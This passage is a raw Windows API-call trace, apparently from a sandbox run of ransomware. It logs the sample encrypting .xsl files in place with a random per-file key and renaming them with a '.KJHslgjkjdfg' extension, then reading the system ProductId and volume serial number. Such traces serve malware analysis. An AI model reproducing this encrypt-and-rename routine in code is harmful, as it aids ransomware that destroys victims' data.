hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x851c, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x851c, lpOverlapped=0x0) returned 1 [0180.852] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8520, dwBufLen=0x8520 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8520) returned 1 [0180.852] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.852] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x8520, lpOverlapped=0x0) returned 1 [0180.852] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.852] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x85f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.853] SetEndOfFile (hFile=0x12c) returned 1 [0180.855] GetProcessHeap () returned 0x990000 [0180.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.855] GetProcessHeap () returned 0x990000 [0180.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.kjhslgjkjdfg")) returned 1 [0180.860] CloseHandle (hObject=0x12c) returned 1 [0180.860] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0180.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.861] GetProcessHeap () returned 0x990000 [0180.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.861] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.861] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.862] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0180.863] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.864] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.864] GetProcessHeap () returned 0x990000 [0180.864] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.864] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.864] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.864] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.864] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.864] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.864] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.864] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.864] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.864] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.864] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.864] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.864] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7d92, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x7d92, lpOverlapped=0x0) returned 1 [0180.865] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7da0, dwBufLen=0x7da0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7da0) returned 1 [0180.866] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.866] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7da0, lpOverlapped=0x0) returned 1 [0180.866] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.866] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.866] SetEndOfFile (hFile=0x12c) returned 1 [0180.868] GetProcessHeap () returned 0x990000 [0180.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.868] GetProcessHeap () returned 0x990000 [0180.868] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.kjhslgjkjdfg")) returned 1 [0180.869] CloseHandle (hObject=0x12c) returned 1 [0180.870] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0180.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.870] GetProcessHeap () returned 0x990000 [0180.870] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.870] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.870] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.870] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0180.872] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.872] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.872] GetProcessHeap () returned 0x990000 [0180.872] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.872] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.872] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.873] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.873] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.873] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.873] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.873] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.873] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.873] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.873] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.873] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.873] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9a5b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x9a5b, lpOverlapped=0x0) returned 1 [0180.874] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9a60, dwBufLen=0x9a60 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9a60) returned 1 [0180.875] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.875] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x9a60, lpOverlapped=0x0) returned 1 [0180.875] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.875] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x9b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.875] SetEndOfFile (hFile=0x12c) returned 1 [0180.878] GetProcessHeap () returned 0x990000 [0180.878] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.878] GetProcessHeap () returned 0x990000 [0180.878] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.kjhslgjkjdfg")) returned 1 [0180.884] CloseHandle (hObject=0x12c) returned 1 [0180.884] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0180.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.886] GetProcessHeap () returned 0x990000 [0180.886] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.886] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.886] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.886] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0180.889] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.889] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.889] GetProcessHeap () returned 0x990000 [0180.889] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.889] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.889] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.889] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.889] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.889] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.889] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.889] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.889] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.889] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.889] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.889] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.890] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x745e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x745e, lpOverlapped=0x0) returned 1 [0180.891] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7460, dwBufLen=0x7460 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7460) returned 1 [0180.891] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.891] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7460, lpOverlapped=0x0) returned 1 [0180.891] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.891] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.891] SetEndOfFile (hFile=0x12c) returned 1 [0180.894] GetProcessHeap () returned 0x990000 [0180.894] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.894] GetProcessHeap () returned 0x990000 [0180.894] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.kjhslgjkjdfg")) returned 1 [0180.894] CloseHandle (hObject=0x12c) returned 1 [0180.894] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0180.895] GetProcessHeap () returned 0x990000 [0180.895] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.895] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.895] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0180.895] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.895] GetProcessHeap () returned 0x990000 [0180.895] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0180.895] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.895] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0180.895] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.895] GetProcessHeap () returned 0x990000 [0180.896] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc608 [0180.896] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.896] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc608, pdwDataLen=0x29dee20 | out: pbData=0x9dc608, pdwDataLen=0x29dee20) returned 1 [0180.896] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.896] GetProcessHeap () returned 0x990000 [0180.896] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0180.896] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.896] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0180.896] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.896] GetProcessHeap () returned 0x990000 [0180.896] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0180.896] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.896] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29dea00 | out: pbData=0x9b18a0, pdwDataLen=0x29dea00) returned 1 [0180.896] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.896] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0180.896] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0180.896] RegCloseKey (hKey=0x12c) returned 0x0 [0180.896] GetProcessHeap () returned 0x990000 [0180.896] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0180.896] GetProcessHeap () returned 0x990000 [0180.896] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0180.896] GetProcessHeap () returned 0x990000 [0180.896] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0180.897] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.897] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29de7d4 | out: pbData=0x9b18a0, pdwDataLen=0x29de7d4) returned 1 [0180.897] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.897] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0180.897] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.897] GetProcessHeap () returned 